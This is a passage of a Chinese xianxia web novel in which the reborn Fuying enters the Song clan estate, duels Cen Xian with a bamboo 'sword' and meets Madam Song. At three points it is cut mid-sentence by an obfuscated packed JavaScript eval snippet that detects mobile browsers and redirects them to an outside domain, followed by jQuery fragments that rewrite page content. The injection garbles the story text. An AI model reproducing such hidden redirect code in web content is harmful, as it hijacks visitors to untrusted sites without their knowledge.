得神眷而生,不是宋小姐的身世吗? 她不知晓这说法源头,只是本能地感到敬畏,并且也本能地觉得,这般说法寻常人是沾不得的,若沾了,只怕不仅讨不到好处,还会惹来忌惮打压。 她又看扶萤,目带担忧。 扶萤哂笑,心道这小婢女脑子倒不算笨。 可她很快又收起笑容,抬手将车帘掀开,看着苍茫云气下一片片良田林地。 凤麟洲内三大家族,宋,薛,云。仅宋氏一脉,便占了整个大洲半数的田地,无数人仰其鼻息过活,世家手中只需漏下些许财富,便够普通人过三年五载。 她从前便是再普通不过的人,由农户捡来养大,养父母死后独上覆羽山修行,当中种种苦痛,难以言喻。 因自己一路走来经历太多磨难,她便也尽力帮助身边每一个人,可那些人是如何对她的? 戮仙台上…… 扶萤早已沉寂多时的心忽地疼痛起来。 那是她被万箭穿心之时留下的伤口,即便早非当日身躯,可痛苦依旧镌刻神魂之上。 她定了定神,眼眸映照着流云,好像有无数雾气在瞳中奔涌变幻。 圣女祠上供圣女,供的究竟是人,还是世家权柄? 既然世家自以为神,便可随意取人性命,耍弄人心…… 那又为何不许旁人效仿他们成神之路,让天下人,都可为神? 昔有张道陵之母梦北斗魁星下降授以蘅薇香草,宋华月之母梦仙人持柳枝滴露,如此说来,她梦个神女赠剑,也不算稀奇罢? 扶萤沉默了良久方道:“你只需记住,从今往后,天命神女这头衔下的人,可不只宋华月一个了。” 红豆似懂非懂,转而想到另一事:“那青松呢?小姐为何不带上他呀?他虽然平日里阴沉了些,可跟着咱们这么多年了,也还算忠心……”虽然她并不喜欢这个同僚,可到底共事多年了,此番小姐居然不带上他,她也始料未及。 扶萤忍不住笑了下:“你还怜惜他不成?背主之人,此等下场已经算是仁慈。” “背主?”红豆像是因她的话吃了一惊,一下子捂住了嘴。 扶萤几乎有些无奈了,心道才方想完这姑娘不笨,怎么又犯起傻来:“我们分明从未告知外人要从侧门回返,大管事却料事如神,你当真以为是巧合不成?” 红豆联系扶萤先前的话一琢磨,猛地一拍掌尖叫起来:“竟是他通风报信!这吃里扒外的小畜生!当初他犯了偷窃罪,要不是小姐将他要过来保下,他早就被逐出家门了!他倒好,不思回报,反而来害你……” 扶萤倒不知还有这等往事,但也只是淡笑了下。 被她真切救过性命的人尚能反咬一口,一个不过是被原主好心收留的侍从,会背叛她自然不足为奇。 这时鸾驾颠簸一下,疾速按下云头,扶萤朝帘外看去,只见一座巍峨青山高耸云间,其上无数楼阁宫院错落,飞桥曲廊勾连,端的是朱梁碧瓦,金碧辉煌。 鸾驾在山门前落下,下来许多少爷小姐,大家聚在一处望着面前长长汉白玉石阶,目中有着向往艳羡。 因扶萤是最末尾的一辆鸾驾,她走过去时,来引领的侍女已经站在了队伍前方。她慢慢步入队伍间,明明暗暗不少目光落在她身上,当中或许善意居少,恶意居多,只是扶萤无心辨别。 她只是下颌微扬,看着面前的引领者。 侍女一身雪青色襦裙,鹅蛋脸,五官秀美,气质出尘。这时青阳子走到她身边,嘴唇微动说了什么,那少女一双美目便忽地朝扶萤看来。 扶萤目光不避,朝她微笑点头示意。 少女神情动了动,似乎有些复杂,但出于礼节仍是朝她一颔首,随即转向众人道:“我名雪荇,今日便由我负责引你们去住处,今后如有事情,也一并找我便是。” 她说完转身,顺着台阶往上走:“现在先带你们去给夫人过个眼,待覆羽山开,再将你们一同送入山中。” 众人便自发在她身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883596|176411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后排列整齐,个个全无在庄中的主子架子,比鹌鹑还乖顺。 毕竟只要不是傻子便知道,他们如今境遇可全凭主家人一句话说了算,从进入宋家地界的这一刻起,考校就已经开始。 没走片刻,雪荇却停了下来,将众人引导山道侧边。扶萤抬头看去,便见山道远处另有一队人走下来,看样子是方拜访完宋夫人,几个绯衣侍女簇拥着一架轿辇,两位掌扇丫鬟站在轿辇两侧,手持孔雀羽扇,羽扇华光迤逦,交错着叠在轿上人面前,将其面容挡得严严实实,旁人只能瞧见其黑纱衣摆。 虽不见其容,但来人这气度排场,明显不俗。 “那是谁?”众人不由交头接耳,议论纷纷。 “是我们大小姐。”雪荇低声道,“小姐方从玄极宗参加过葬礼回来,此时应当是与夫人说过话返回自己院中。她近来心情欠佳,你们等下都恭敬些,少说话。” “玄极宗发生什么事了?是谁去世了?”便有人好奇接话。 他们虽然都是宋家人,但毕竟是别院旁支,对于修真界的大事不甚灵通,此时皆好奇望向雪荇。而轿辇已经行至不远处,雪荇自然不会再多言。 四下一时寂静,只闻抬轿人的脚步声与侍女衣摆簌簌,扶萤却是蓦地攥紧了手指。 到了众人面前,轿辇忽地停下了。 “雪荇姐姐。”轿前绯衣少女朝着雪荇微微点头致意,她生得明艳,面若芍药,与雪荇是截然不同的美。雪荇也带着众人行礼,唤她:“怜芍姐姐。”又转向轿上人,神情恭谦,“大小姐。” 两扇华美羽扇分开,露出轿上女子容貌。 她生得瓜子脸,下颌尖尖,长眉如黛,目笼秋水寒烟。一头乌云般的秀发以一柄象牙梳绾起,在鬓边簪了朵通草白梅花,身着黑衣黑袍,外面的纱袍上亦以银线绣了许多梅花。 她一开口,声音也是冷的:“母亲今日不适,已经歇下,这些人便不必去扰她清梦了。” “这……”雪荇想着青阳子的嘱咐,犹豫片刻,可小姐神色冷淡,她不敢辩驳,只能道,“自然。那我便将他们分别安置在玲珑、紫竹院中,待夫人好些了,再去拜见。” 宋华月目光在她面上停得微微久了些,方才转开,轿辇重起,与一行人错身而过。 交错的刹那,扶萤忽地抬头看了那黑衣女子一眼,神情不辨悲喜。 而后在对面察觉到之前,她又迅速低下头,继续拾阶而上。 “停。”几步之遥,宋华月再次叫停轿辇,蓦地回头。 那群新人已经离去,只留下乌压压的一片后脑勺。 “小姐,怎么了?”怜芍顺着她目光看去,“那些人里可有什么古怪?” 宋华月没说话,漆黑眼眸一瞬不瞬看着远去人群,半晌皱起眉,一手缓缓按上心口。 “小姐,你的心又痛了吗?”见状,怜芍也顾不得再去管什么古不古怪了,忙伸手去握宋华月的手。 “无事。”宋华月缓了片刻,才松开了紧攥胸口衣襟的手。她的神情依旧冷淡,但又似乎多了一分肃杀:“你且去查查,这批人里都有谁。” 怜芍收回手,恭谨应是。 轿辇缓缓消失在山道上。 4. 湘妃 这批被选到本家的弟子共二十四位,十位男子下榻紫竹院,另十四位女子则被安置在玲珑院中。 玲珑院虽只得“院”之名,但被雪荇领到了地方众人才发现,这院落大小比起他们从前所在的别庄也不遑多让,占了有大半个山头,院中引水造池,依花傍柳,值此夏日,满池芙蕖盛开,亭亭玉立,荷香远播。 一等半月过去,宋夫人的病却迟迟未见好转,她们的拜见之日也遥遥无期,众人索性便也不管这些,除却每日去书院和校场上课,便似从前在别庄一般。 可那是旁人。宋楹之前从未和其他人一起上过炼体课程,也无自己的兵器,于是除却去书院的时候,她平素就待在自己房中看书写字,陶冶身心,同时每日运转周天,巩固强行提升后尚未稳定的根基。 这日天气晴朗,院中其他人皆去了校场,扶萤将屋中因前几日落雨受了潮的书卷收集起来,在院中大石上一一摊开晾晒,她自己则搬了个小躺椅在荷塘边的树下纳凉,不时往池中投一颗石子,惊扰莲下锦鲤。 头顶日光被树叶筛过,不算毒辣,反有几分温柔。就在扶萤倚在躺椅上几乎昏昏欲睡时,身后一阵说笑声由远及近,是上课的人回来了。 她继续瘫着,没动。毕竟那群人都各自有玩得好的同伴,之前几次碰面看也不看扶萤一眼,她也懒得去贴别人冷屁股。 可今天却有些不同。她闭着眼,听觉却更加敏锐,只闻纷杂的脚步声顿了一下,而后直直朝着她的方向走来。 “宋楹。”有人叫她,声音高扬。 扶萤从躺椅上站起,转头看去。 来的正是院中那群宋氏姐妹,应是方从校场回来,身着统一的白色劲装。为首人则一袭红衣,肩头、胸口与手腕皆披银甲,长发以绣金云纹的红丝带高高束起,修眉凤目,英姿飒爽,好似凡世女将军。 她背在身后的手中握了杆银枪,枪长约七尺,在阳光下枪身华光如练,如蛟龙银鳞。而光看面容,此女和众人曾在山道上错身而过的宋华月更是有七八分相似,不过后者要更为纤细秀丽一些。 扶萤唤她:“岑纤。” 方脱口叫出她名字,扶萤就皱了下眉,心道自己当真是睡昏了头,大意了。 原因无他。此女并非别庄同来的人,甚至并非宋氏本家的人,而是宋夫人的侄女。 宋夫人原姓岑,名妙音,出身江陵岑氏。这岑家也算是江南鼎鼎有名的家族,其世代经商,在瓷器和茶叶贩卖上不仅享誉凤麟洲,连极远的祖洲、长洲亦有销路。 但再如何巨富,比之三大世家来说便不够看了,于是在家主宋非池闭关不出,岑妙音接过宋氏本家大权后,旁人便再不提她本姓,只称她为宋夫人。 而这岑纤便是其胞弟独女,前世在玄极宗时扶萤曾见过她,那时她比现下要年幼些,还没有银枪高的年纪,便已经开始随真人们修行,可见家中对其看重。 而问题在于,此时此刻,身为宋楹的她,应当是从未见过岑纤的。 “哦?你认得我。”岑纤愣了下,随即一挑眉,将手中枪往地上一驻后抱起双臂,雪亮目光将扶萤上下打量。 扶萤于是从躺椅上站起身来。她比岑纤要高半个头,起身后便是俯视对方的姿态,可偏偏她语气却十分谦卑,令人挑不出错处:“岑姑娘风仪过人,近来又多与姐妹们一同上课出入,我无意间见过几次,自然便认识了。” 她站起后,二人便离得近了些。扶萤能感知到对方乃是引气末期,虽还未筑基,可也和一众凡人也有云泥之别。 这样的人主动跑来和她们一起上课,是为了什么呢? 岑纤点头:“那你应当知道我想说什么了罢?” 这下轮到扶萤愣了。 她在脑中搜寻片刻,没找到原主关于此人的印象,而自己来此这半月来除了去书院几乎可说是大门不出二门不迈,就更不可能和此人有何交集。 那她找自己搭话,总不能是因为自己好看吧? 二人大眼瞪小眼,谁也没再说话。 岑纤高昂着下巴,本还等着面前的小小庶女先开口,可对方迟迟不言,她脖子仰得发酸,终于按捺不住上前一步。 “沈公子已经明确退了亲事,你还巴巴跑来这里,难道仍不死心?”她的声音压得低了些,听着像是从牙缝中挤出来,“我不知你用何等法子贿赂了青阳子,竟令他将你捎带上来,只是有一点,你绝不可去覆羽山!” “沈公子?”扶萤反应了片刻。 这倒不是作伪,她这段时间忙于巩固根基,确实是太久未曾想起这位仁兄了,不过她私下倒是找红豆了解过一番。 那位兄台叫沈什么来着……似乎是……沈应堂? 对了。就是这个名字。 见扶萤一脸平淡,岑纤只当她装傻,眼中闪过一抹厌恶。 她不再压低嗓音,反用上了些真气,清脆声音在院中远远荡开,将身后的宋氏少女乃至院外其余下课路过之人都吸引过来:“你不必掩饰!我知晓你不愿放弃沈公子,毕竟他是你跃上枝头的唯一希望。可你一个半点修为也无的庶女,如何配得上他?如何能当沈家主母?” 她一口气说完,再逼近一步,将扶萤直逼到荷塘边沿,才笑道:“就算你真撞大运能与他同修,又凭什么再用父母之言束缚他?他这么多年甚至没有去别庄探望过你一次,分明是对你无意,你看不出来吗!” 扶萤:? 此女看着面目周正,怎得口中全是疯言疯语。 她却并无不耐,反倒是想听听接下来她还能说些什么。毕竟,这是了解宋楹过往的天赐良机。 而此时宋氏姐妹们也纷纷围上来,与岑纤一同挡住扶萤去路,美目流转间心思各异。 便有人率先清了清嗓子,笑呵呵朝岑纤道:“岑小姐放心,宋楹自小便有心疾,是人人皆知的病秧子一根,这样的人啊,是断无可能踏入修行一途的。” “正是呀。若她修炼时心疾犯了,可怎生是好?也不知尊使为何将她也带来了。” “这般短命鬼,也就是她那早死的娘仗着曾在沈家主母遇险时为她挡过一剑,才可携恩图报,求得一纸婚约。真是好不知羞!” “可即便她不去挡剑,以沈夫人的修为,也断不可能有什么事呀!她想必早有图谋,实乃心机深沉……” …… 关于宋楹娘亲之事扶萤还是初次听说。她面色不变,只是安静听着,仿佛事不关己的模样。 事实上这也确实是别人的故事。可她听着听着,目光却悠远起来。 她想起了她的母亲。 岑纤抱臂立着,先时还笑意盈盈,直到众女开始诋毁起宋楹之母,才沉下脸色打断:“够了!不用再扯无关之人,这只关乎我与她!” 她眼珠一转,重拿起枪,在手中一舞。 银光将扶萤眼睛晃了下,她微微眯眼,只听岑纤道:“不若我们以武决胜负!我不会使用任何灵力,同样的,你也可以去藏宝阁随意挑选武器。若你输了,你择日便离开此地,不可参与前去覆羽山的选拔!” 此话一出,周遭众人顿时心知有戏可看,面带兴味。 扶萤在雪霏院中筑基时,这批人已经被鸾驾接走,折返回来的只有青阳子。而面见宋夫人的时间被一推再推,故而其他人都不知道她已筑基一事,即便是感到些许异样,也只会觉得她气质出尘,自然不会想到她已经脱凡入仙,与旁人截然不同。 至于岑纤,历来探查修为只有高探低,扶萤此时已经筑基,她则是引气后期,即便相隔一层却是天堑。扶萤若想不令对方察觉自己修为,那她是决计不会知晓的。 落在她身上的目光不算善意,扶萤却是忍不住笑了。 说是以武决胜负,可她分明已知道自己并未学过武,又谈何比试呢?这岑姑娘也实在有趣得很。 “怎么样?你可敢与我公公正正比试一场?”岑纤的银枪横在扶萤身前,“再不行,我也不用枪,咱们赤手空拳比划比划,也是可以的。” 扶萤自不会因争一男子这等可笑原因与她相斗,她伸手轻轻拨开枪尖,想要越过众人离开。 “站住!”岑纤却再次叫停,有些急了,“你怕了?” “怕了。”扶萤应道。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883597|176411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 岑纤愣了下,全然没料到扶萤会一口承认,原本还打算说些别的来激她,此时反倒自己哑口无言。 眼看扶萤要绕过众人离去,心念一转,她又挑眉道:“就算我曾想害你,找人推你入水,你也不在意吗?” 落水…… 扶萤忽地不动了。 原来令原主缠绵病榻,一缕芳魂溘然长逝的罪魁祸首,便是面前此人。 她蓦地抬起眼,细细打量少女眉目。 岑纤算是个美人。凤眼弧度凌厉若刀裁,端的是艳如骄阳,盛气凌人。 可若知晓她做的事,再如何美,便也怎么看怎么不顺眼了。 而依扶萤现在的性子……谁让她瞧不顺眼,她便不会叫谁好过。 见面前人终于有了点别样反应,岑纤只觉胸中一口气稍舒:“怎么样?我告诉你,不仅那次落水,连令大管事将你关起来,也是我授意的。你生气吧?差一点便再也留在那小地方出不来……” “好。”岑纤还要再说些旁的,扶萤却忽地开口了。 她顿了下:“你说什么?” “你不是要和我比试一场吗?我说,好。”扶萤伸手一指院门,“只一件事,我们需得到院子外面打,莫要坏了这晾晒的书卷与一池荷花。” 这话一出,周遭哗然。先前二人争吵动静已经将隔壁峰头下课的宋家少年们引到院门边,还有些旁的侍女仆从,此时个个呼朋引伴,都要来瞧这难得一见的大热闹。 岑纤终于得偿所愿,回身昂首便领着一众人马出了院子,扶萤跟在他们身后,神色冷淡。 门外台阶下去不远,便有一处崖边空旷地,三面傍松,一面临崖,古松苍翠遒劲,悬崖云气渺渺,正适合比试斗武。 岑纤甫一站定便道:“怎么说?我便不用武器了罢,省得说我欺负你。” 扶萤:“不必。”她左右观望片刻,忽地越过众人直直走到崖边一竹丛旁,抬手折下一二指粗细,三尺来长的竹枝拿在手中。 旁人不知她意欲何为,便见少女已走到场中,抬手做了个“请”的手势。 岑纤:…… “你就拿这与我对打?”她沉默半晌,哂笑了声。长枪一抖,银光璀璨,红缨飞扬。 “翻云蛟当真是神兵利器!”围观者被那枪上华光晃了眼,不由交口赞叹,再看扶萤手中竹枝,就忍不住“扑哧”笑出来。 “是。”扶萤答。 岑纤狐疑:“这分明不过一竹枝!你可别是想着故作柔弱,一会儿武器断了,又反口污蔑我欺负你罢!” 扶萤将竹枝挽了个剑花,平平道:“心中有剑,万物皆可为剑。” …… 这下不止岑纤,连其余众人也都沉默了。 这话虽不假,但也应当是从剑道宗师口中说来,被眼前这瘦弱少女说来,便是怎么听怎么古怪。 “那你的……剑。”岑纤顿了顿,语气中的嘲讽掩盖不住,“你的剑又叫什么名字呢?” 扶萤低头看着手中竹枝。 她方才不过随手一折,此时细看之下,才发现其色泽青翠,上面有些许深色斑点,像是有血渗进了竹里,经年日久,难以涤清。 扶萤忽地眨了眨眼。 许久以前,在她还是个小童的时候,一位壮妇人曾将她负于背上。 妇人弯腰干活,她便四下张望,看到一丛翠竹,好奇折来一枝在手中把玩。 玩了片刻,她疑惑道:“娘亲,为何这竹上有许多斑痕?” 妇人直起身擦了擦汗,回头看她:“传说舜帝死于苍梧,娥皇、女英二妃闻讯前往,泪落乡间野竹,便成了这斑痕……这可是湘妃眼泪呢。” “可为什么娥皇、女英当时的眼泪会一直留在竹子上,经过这么多年仍旧不改不变呢?” 妇人似是叹息了声,悠悠道:“人心的力量,可比你想的要强得多……” 往事如烟散去,扶萤忽地笑了下,目中一瞬迸发出前所未有的奇异神采。 她执竹横在身前,缓缓开口。 “此剑名唤……” “湘妃泪。” 6. 宋氏 卫霄所驾紫云想来是他的本命法器,随他心念而动,速度极快,不过片刻,初来那日见过的幽长山道便已在脚下。 他带着二人落下云,眼前是阶梯尽头的一处院落,朱墙碧瓦,琼花玉树,院门口站着两列银甲侍卫,皆神情肃穆,眼带杀机。 卫霄平平走上前去,不见他出示任何腰牌或者凭据,但侍卫们目光在青年面上一过,便侧身容三人走入院中,途中所遇护卫队也皆是行礼后让路,让他们畅通无阻到了主阁前。 扶萤再一次确认了此人身份贵重,更添戒备。 此时三人已到主阁正门边,抬眼一看,面前是一间三层高的朱红木阁,楼前一弯曲水内荷花盛放,锦鲤悠游。一层沿水的外廊上设了椅靠,铺着锦垫,廊顶正有大片凌霄垂下,风吹过,不时有落花落在椅垫上。 而再仰头看去,大门上还悬了一方黑漆匾额,上书“德懿流芳”四个大字,字体古朴端正,以金粉描就,华光闪闪。 八宝雕花的木门前,正有一梳着双螺髻的丫头坐在小凳上,瞧着不过豆蔻之年,蜷缩成小小一团靠着墙面,似乎还在打盹,头一点一点好似鸡啄米。 卫霄走到她身前,停了片刻,见其仍旧昏昏欲睡,全然不知有人到来,伸手在她面前打了个响指:“卫霄在此,求见夫人。” 侍女这才骤然惊醒,起身揉揉眼,见了卫霄凑在身前的俊容,面上一红,忙进门通报。 片刻后,内里传来一道年长些的女人声音,轻飘飘带着笑意:“进来罢,卫管事。” 扶萤闻得这声温和又不失端肃的女声,忽地身形一顿。 “你出身低贱,能到如今地步,实属不易。” …… 前世她被诬残害同门,盗取宗门至宝,被关押在水牢中等候行刑时,有一人曾在行刑前日寅夜到访。 那时她早已被拷打过多轮,满身几可见骨的伤口,又被铁链穿过周身经脉要穴,自胸口往下浸在山顶冰雪化就的水池中,疼痛和寒冷令她几乎神魂出窍。 那道影子便是此时来的,她隐在牢门外的黑暗中,许是因为光线微弱,也许是因为扶萤眼前模糊一片,实在看不真切来人容貌。 可那声音,她却是再轮回一世也忘不了的。 门开了,卫霄当先迈进去,一阵沁人心脾的凉气顿时扑面而来,与外面的酷暑截然不同。 扶萤从他身边看去,只见屋子正中摆着冰鉴,其内浸泡了各色瓜果鲜花,冰融化后的水面上以盘子装着精致糕点,随水飘荡着,又被一双涂着丹蔻的素手拿了起来。 扶萤顺着那手继续往上看。 紫玉镯,金臂钏,都是华贵饰品。女人穿着也是十足讲究,上着绛紫色大袖襦,下系鹅黄丝绸长裙,肩头所搭着的碧绿披帛上刺绣着衔柳比翼鸟,比翼鸟的眼睛处缝着小指大的东珠,尾羽更是以金银二色丝线交错织成,周身上下,无不富贵非常。 女人身姿挺拔,比寻常女子高出不少,束着飞仙髻,细眉细眼,给人干练精明之感。 只需一眼,扶萤便确认了其身份。即便那时她只看得一个阴影中的朦胧身形,但这种气质,身高,以及即便微笑却仍隐隐透出周身的冷硬煞气,却是难叫人错认的。 女人拿了一碟点心,恭恭敬敬奉给了座中美妇,又安静退入其身后珠帘内,像是个不起眼的影子。 扶萤也便不动声色移开目光,好像她只是好奇心起多看了几眼,又打量起高座上的人。 端坐的妇人就比紫衣侍女要素净许多了,只披着最简单不过的素白夹层纱衣,若不是她们一站一坐,指不定要叫初见她们的人疑心谁才是主人,谁才是侍婢。 她容貌不过三十上下,面若满月,柳眉凤眼。眉心有一粒极为细小的红痣,长睫低垂,低眉看人的时候,好似座上观音,宝相庄严,慈悲悯人。 而在她身旁的桌上摆了一靛青瓷瓶,里面竟然插着一枝白梅,应当是被术法定格在了盛放得最好的时候,她先前便是在侍弄这白梅花,谨慎认真。 “夫人。”卫霄先笑嘻嘻地向宋氏行过礼,又转向帘后的紫衣女人,“容霞姐姐。”礼数周全地问候过二人,才道出来意,“我今日得闲,本想来向夫人请安,驾云路过碧霄峰时,正好瞧见一出热闹。这不,想着夫人卧病在床半月,应当是无聊得紧,便来为你解解闷。” “哦?”宋夫人神色不动,“什么热闹?” 她从三人进门时就仅低眸看卫霄与岑纤,半分目光也未分到扶萤身上。 卫霄便将身后的扶萤与岑纤揪出来往前一推:“我在云端见有人打斗,定睛一看,认出是表小姐和一个陌生少女。听雪荇说此人是半月前入选到本家来的旁支,竟然能与修炼多年的表小姐斗成平手……” 他拖长了声音:“夫人说,这是不是十分古怪呢?” 他话里话外是对扶萤有所疑虑,带着些许邀功的意味,语毕,桃花眼微微弯起,灼灼笑看着宋夫人。 宋夫人先看了岑纤一眼,朝少女伸出手去,道:“纤纤,你且过来。” 岑纤口唤:“姑母。”带着几分委屈上前,竟是直直在她面前跪坐下,将脸埋到妇人大腿上磨蹭,眷恋极深。 宋夫人也伸手抚摸少女鬓发,将她先前打斗中散落出来的发丝理整齐了,又取出贴身锦帕,为她将隐忍多时的泪水擦拭干净。 扶萤看着二人动作,若非早知她们关系,她怕是要以为眼前乃是一对亲母女了。 面前人忙着上演姑侄情深,她自然被晾在一旁无人搭理。倒是卫霄的笑意渐渐收起,看看宋夫人,又看看扶萤,目中有些深思。 直到岑纤好容易止住了哭泣,宋夫人才终于抬眸,在扶萤身上投下了进门以来的第一道目光。 她开口,话却是对卫霄说的:“这孩子并非私自修炼的恶人,而是……是什么来着?”她像是忘记了扶萤身上修为来历,转而对她道,“孩子,你自己来说罢。” 扶萤注视着她的眼睛,将自己对青阳子所道的话一字未动地复述了一遍,一面说,一面一瞬不瞬观察着宋夫人神情。 …… “是了。青阳子曾向我特意提起过你。”宋夫人认真听完她的话后微微点头,“他说是别庄里出了个极为罕见的‘天命之人’,一定要让我亲自过目,可惜我先前身体不适,一直没能见你。” 她又笑笑:“‘受天命’这一点,倒是和华月十分的像。” 扶萤注意到,听宋夫人提起宋华月,岑纤十分明显地皱了下眉,又很快恢复如常。 宋夫人已经朝她伸手,细瘦腕间露出一个碧玉镯子。她道:“让我看看你。” 扶萤垂眼走上前,任由女人将她的手攥住,放在自己交叠的掌心间。 一股轻柔的灵力顺着二人接触的掌心探入扶萤经脉内,是宋夫人在探察她的修行状况。扶萤低着头,忍不住牵了下唇角。 良久良久,宋夫人松开手,又令她抬头,将她眉眼一寸寸看过去,一面不住点头。 侍立在后的容霞插话:“真是个美人胚子呢。” 宋夫人终于看完了扶萤,唤她道:“好孩子。”说着将腕上手镯褪下来,往扶萤手上套,又道,“初次见面,没为你准备什么礼物,这是我贴身佩戴多年的手镯,便当作见面礼了。” 扶萤微微一愣,岑纤已经尖叫起来:“姑母!你怎么还送她东西!” 宋夫人不言,将玉镯套上扶萤手腕后,只是十分欣慰地瞧她:“既然同是宋氏女,经历又与华月如此相像,说明我们有缘。” “若之后你们能一同入山修行,也记得要互相扶持。”她叹息,“华月性格孤冷,少有朋友作伴,你……你若能多陪她说说话,我便感激不尽。” 她屡次说起宋华月,岑纤忍了又忍,终于忍不住抱怨:“那丫头成日里惹姑母生气,分明就是只养不熟的白眼狼!姑母这次抱恙,想必又是她和你争吵了罢!” 宋夫人宠溺一点她额头:“就你聪明。”却对与宋华月争吵一事未加否认,反而又长叹一口气。 扶萤这时也想起,初到此地那日,宋华月正是从主阁回来的。 什么事会让母女二人争吵到宋夫人卧病在床?她一介修士,又为何如此羸弱,是真的还是假装? 最重要的是,为何自己都当面挑衅到这等地步,宋氏不但不变色,还一副为她开心的模样? 实在是……和她了解的世家之人半点不像了。 扶萤心中一团乱麻,面上丝毫不显,依旧装她的乖巧少女,听宋氏与岑纤闲话家常。 这一听她就发现,岑纤这孩子对宋氏的确感情颇深,一改在她面前那娇蛮模样,絮絮叨叨,像个老妈子。 等到二人终于叙完话,已经是落日西沉时分。岑纤起身告退,走前不忘给外面的丫鬟上眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883599|176411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药:“姑母,你门外的小丫头方才还打瞌睡呢!你也该好好整饬一番下人,懒散得不成样子。” “如此热的天,她一人守在外面也是无聊,犯困乃是常情。”宋夫人温声道。 “你就是太心软了……”岑纤嘟囔着,却到底没有再多言,又叮嘱了她注意身体,这才终于要走。 卫霄继续留在屋中,似与宋夫人有事商谈,容霞送二人出了阁楼,又一直伴她们走到院门处,方才停住脚步。 “表小姐,宋楹姑娘,你们这便各自回住处罢。”她说着,在岑纤眉心嗔怪地轻点了一下,“可不要再打闹了,若否,夫人也会很困扰的。” 岑纤自是乖巧应下,待容霞转身入院后,才又瞪了扶萤一眼。 “此番算你走运!若非姑母看重你,我可不会善罢甘休的!”她经过宋夫人安抚,神情已经平静不少,但面颊仍带着薄怒的微红,“不过我仍是要提醒你一句,离沈公子远一些!” 她说完,冷哼一声,率先转身走了。 扶萤倒是在院门边又立了片刻,直到侍卫们频频看她,才慢吞吞朝碧霄峰走回去。 她无心辩解自己对那所谓的沈公子绝无半分情意,她全副心神被方才之事占据,只觉这青天白日下的主阁谜团重重,即便已经再来一世,依旧令她瞧不清,摸不透。 下一步棋该往何处走,她也有些举棋不定了。 ** 静室内檀香袅袅。 有一黑衣少女伏案抄写,身边绯衣女子静侍,一面为她研墨,一面说着白日里碧霄峰上发生的趣事。 “……心中有剑,万物皆可为剑。”宋华月正抄着佛经,闻言笔锋微顿,一团墨渍瞬间在纸上晕染开来,她却毫不在意,“她真是如此说的?” 怜芍笑了笑,也觉得此言甚妙:“正是呢。没想到这批次的新人里还有这等有意思的人……”她说到此处,见宋华月面无表情,又忽地话锋一转,“只是这话从剑道宗师口中说来还好,她从未随正经的老师学武,这话便难免有照本宣科之嫌,也不知她是从何处看到的呢。” “况且。”她补充道,“不过一根竹竿子,稍微用力折一下就断了,也是那岑纤学艺不精,拿着‘翻云蛟’却发挥不出其半分威力,否则,又能有宋楹什么事呢?”她说完,又觑宋华月面色。 只见黑衣少女默了片刻,忽地平平一伸手。 室内室外忽地起了一阵风。不知从何处飘来梅瓣,纷落如雪,从窗外飘到屋中,在她掌心汇成一柄雪白长剑。 长剑长三尺半,其上缠着一道道白色丝绦,像是女子袖间所挽披帛,又似久经沙场的战士身上缠伤的纱带。 少女抬手在剑上轻抚而过,眼神柔和,缓缓开口:“我这‘千丛雪’,也是我六岁初学剑那日从梅林中折花枝化来。母亲曾说,‘不过一根树枝,即便再怎样雕琢冶炼,又能有多大用处?’” 她声音顿了顿:“……可它伴我至今,已有十年。” 怜芍便笑道:“小姐神女临世,天纵之才,那等小家里出生的破落户,如何能与你比呢?”意思是即便同样以树枝作剑,扶萤也是定然比不过她去的。 宋华月也笑,却未说话。 她又细细看了长剑片刻,没收起来,而是放在了桌案边,自己继续埋头抄经了。 法剑在侧,其上森冷杀意似乎能透过衣衫切人体肤,而黑衣少女眉眼间又带着慈悲,手抄佛经,虔诚无比。 怜芍看看剑,又看看自家小姐,几次动了动嘴唇似乎想说什么,最终压下不表。 直到两个时辰后,宋华月方再次直起身,将先前所写纸笺归拢到一处,又摊开来。 一张张上好的纸笺在跃动烛火下呈现澄黄色,娟秀小楷密密麻麻排列整齐,是一整卷的《地藏经》。 “好了。你且将之收起来,待覆羽山开后,再去山中烧了。”她检查无误后,将纸张重新整理好递给侍女。 “不过是一个不相干的弟子,小姐何必如此劳心伤神,仔细又心痛了。”话虽如此说,怜芍还是接过那一沓手抄佛经,整理好装进一木匣子内,抱着退下。 宋华月静静凝视着案上香炉,淡紫色的烟气在她面前腾起,将那张秀美面容染得模糊不清。 “不相干……吗?” 许久后,她才像是自问一般道出这话。只是此时怜芍早已离去,空旷室内,无人回应。 7. 覆羽 扶萤与岑纤在碧霄峰一战后名声大噪,之后更是得了宋夫人亲自赠礼,关于她修为之事这才彻底传开了去,她一时之间竟成了玲珑院的大红人。 